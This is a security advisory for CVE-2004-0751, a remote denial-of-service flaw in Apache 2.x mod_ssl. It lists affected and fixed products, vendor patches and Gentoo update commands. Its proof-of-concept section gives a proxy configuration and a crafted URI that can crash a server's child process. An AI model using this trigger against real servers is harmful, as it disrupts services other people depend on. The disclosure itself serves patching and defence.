Apache mod_ssl Remote Denial of Service Vulnerability

BID:11154

Info

Apache mod_ssl Remote Denial of Service Vulnerability

Bugtraq ID: 11154
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2004-0751
Remote: Yes
Local: No
Published: Sep 10 2004 12:00AM
Updated: Jul 12 2009 07:06AM
Credit: Discovery is credited to M. "Alex" Hankins <[email protected]>.
Vulnerable: Turbolinux Turbolinux Server 10.0
Turbolinux Turbolinux Desktop 10.0
Turbolinux Home
Trustix Secure Linux 2.1
Trustix Secure Linux 2.0
Trustix Secure Enterprise Linux 2.0
Redhat Enterprise Linux WS 3
Redhat Enterprise Linux ES 3
Redhat Enterprise Linux AS 3
Redhat Desktop 3.0
Mandriva Linux Mandrake 10.0 AMD64
Mandriva Linux Mandrake 10.0
Mandriva Linux Mandrake 9.2 amd64
Mandriva Linux Mandrake 9.2
HP Tru64 UNIX Compaq Secure Web Server 6.3
HP Tru64 UNIX Compaq Secure Web Server 5.9.2
HP Tru64 UNIX Compaq Secure Web Server 5.9.1
HP Tru64 UNIX Compaq Secure Web Server 5.8.2
HP Tru64 UNIX Compaq Secure Web Server 5.8.1
HP Tru64 UNIX Compaq Secure Web Server 5.1 A
HP Tru64 UNIX Compaq Secure Web Server 5.1
HP Tru64 UNIX Compaq Secure Web Server 5.0 A
HP Tru64 UNIX Compaq Secure Web Server 4.0 G
HP Tru64 UNIX Compaq Secure Web Server 4.0 F
HP HP-UX B.11.23
HP HP-UX B.11.22
HP HP-UX B.11.11
HP HP-UX B.11.00
Gentoo Linux 1.4
Apache Apache 2.0.50
+ Mandriva Linux Mandrake 10.1 x86_64
 + Mandriva Linux Mandrake 10.1
Apache Apache 2.0.47
+ Apple Mac OS X Server 10.3.5
+ Apple Mac OS X Server 10.3.4
+ Apple Mac OS X Server 10.3.3
+ Apple Mac OS X Server 10.3.2
+ Apple Mac OS X Server 10.3.1
+ Apple Mac OS X Server 10.3
+ Apple Mac OS X Server 10.2.8
+ Apple Mac OS X Server 10.2.7
+ Apple Mac OS X Server 10.2.6
+ Apple Mac OS X Server 10.2.5
+ Apple Mac OS X Server 10.2.4
+ Apple Mac OS X Server 10.2.3
+ Apple Mac OS X Server 10.2.2
+ Apple Mac OS X Server 10.2.1
+ Apple Mac OS X Server 10.2
+ Apple Mac OS X Server 10.1.5
+ Apple Mac OS X Server 10.1.4
+ Apple Mac OS X Server 10.1.3
+ Apple Mac OS X Server 10.1.2
+ Apple Mac OS X Server 10.1.1
+ Apple Mac OS X Server 10.1
+ Mandriva Linux Mandrake 9.2 amd64
 + Mandriva Linux Mandrake 9.2
+ Mandriva Linux Mandrake 9.1 ppc
 + Mandriva Linux Mandrake 9.1
Not Vulnerable: HP Tru64 UNIX Compaq Secure Web Server 6.3.2 a
Apache Apache 2.0.51
+ Redhat Fedora Core2
 + Redhat Fedora Core1

Discussion

Apache mod_ssl Remote Denial of Service Vulnerability

Apache 2.x mod_ssl is reported prone to a remote denial of service vulnerability. This issue likely exists because the application fails to handle exceptional conditions. The vulnerability originates in the 'char_buffer_read' function of the 'ssl_engine_io.c' file.

It is likely that this issue only results in a denial of service condition in child process. This BID will be updated as more information becomes available.

Apache 2.0.50 is reported to be affected by this issue, however, it is possible that other versions are vulnerable as well.

Exploit / POC

Apache mod_ssl Remote Denial of Service Vulnerability

No exploit is required.

The following proof of concept is available:

With the following configuration in httpd.conf:
Listen 47290
SSLProxyEngine on
RewriteEngine on
RewriteRule /(.*) https://www.example.com/$1 [P]

The server may be crashed by issuing the following URI:
http://www.example.com:47290/eRoomASP/CookieTest.asp?facility=facility&amp;URL=%2FeRoom%2FFacility%2FRoom%2F0_4242

Solution / Fix

Apache mod_ssl Remote Denial of Service Vulnerability

Solution:
Turbolinux has released advisory TLSA-2005-01-13 along with fixes dealing with this and other issues. Please see the referenced advisory for more information.

HP has released an advisory (HPSBGN01091) and an update to fix this vulnerability and other vulnerabilities in Secure Web Server for Tru64 UNIX; the Secure Web Server product is based on Apache.

SuSE has released advisory SUSE-SA:2004:030 and fixes that eliminate this vulnerability. Please see the referenced advisory.

RedHat has released advisory RHSA-2004:463-09 along with fixes to address these issues for RedHat Enterprise Linux operating systems. Please see the referenced advisory for further information.

Mandrake Linux has released an advisory (MDKSA-2004:096) along with fixes dealing with this issue. Please see the referenced advisory for more information.

Trustix Secure Linux has released an advisory (TSLSA-2004-0047) along with fixes dealing with this, and other issues. Please see the referenced advisory for further information.

Gentoo Linux has released advisory GLSA 200409-21 to address this, and other issues. Please see the referenced advisory for further information. Users of affected packages are urged to execute the following with superuser privileges:
emerge sync
emerge -pv ">=net-www/apache-2.0.51"
emerge ">=net-www/apache-2.0.51"
emerge -pv ">=net-www/mod_dav-1.0.3-r2"
emerge ">=net-www/mod_dav-1.0.3-r2"

Conectiva Linux has released advisory CLA-2004:868 along with fixes to address this, and other issues. Please see the referenced advisory for further information.

Red Hat Fedora has released an advisory (FEDORA-2004-313) along with fixes dealing with this and other issues. Please see the referenced advisory for more information.

Apache has released version 2.0.51, as well as a patch for previous versions:

HP has released an advisory (HPSBUX01090) to address various issues affecting HP-UX running Apache and PHP. Please see the referenced advisory for more information.

Apple has released an advisory (APPLE-SA-2004-12-02) dealing with this and other issues. Please see the referenced advisory for more information.


Apache Apache 2.0.47

Apache Apache 2.0.50

HP Tru64 UNIX Compaq Secure Web Server 4.0 F

HP Tru64 UNIX Compaq Secure Web Server 4.0 G

HP Tru64 UNIX Compaq Secure Web Server 5.0 A

HP Tru64 UNIX Compaq Secure Web Server 5.1

HP Tru64 UNIX Compaq Secure Web Server 5.1 A

HP Tru64 UNIX Compaq Secure Web Server 5.8.1

HP Tru64 UNIX Compaq Secure Web Server 5.8.2

HP Tru64 UNIX Compaq Secure Web Server 5.9.1

HP Tru64 UNIX Compaq Secure Web Server 5.9.2

HP Tru64 UNIX Compaq Secure Web Server 6.3

References

Apache mod_ssl Remote Denial of Service Vulnerability

References:

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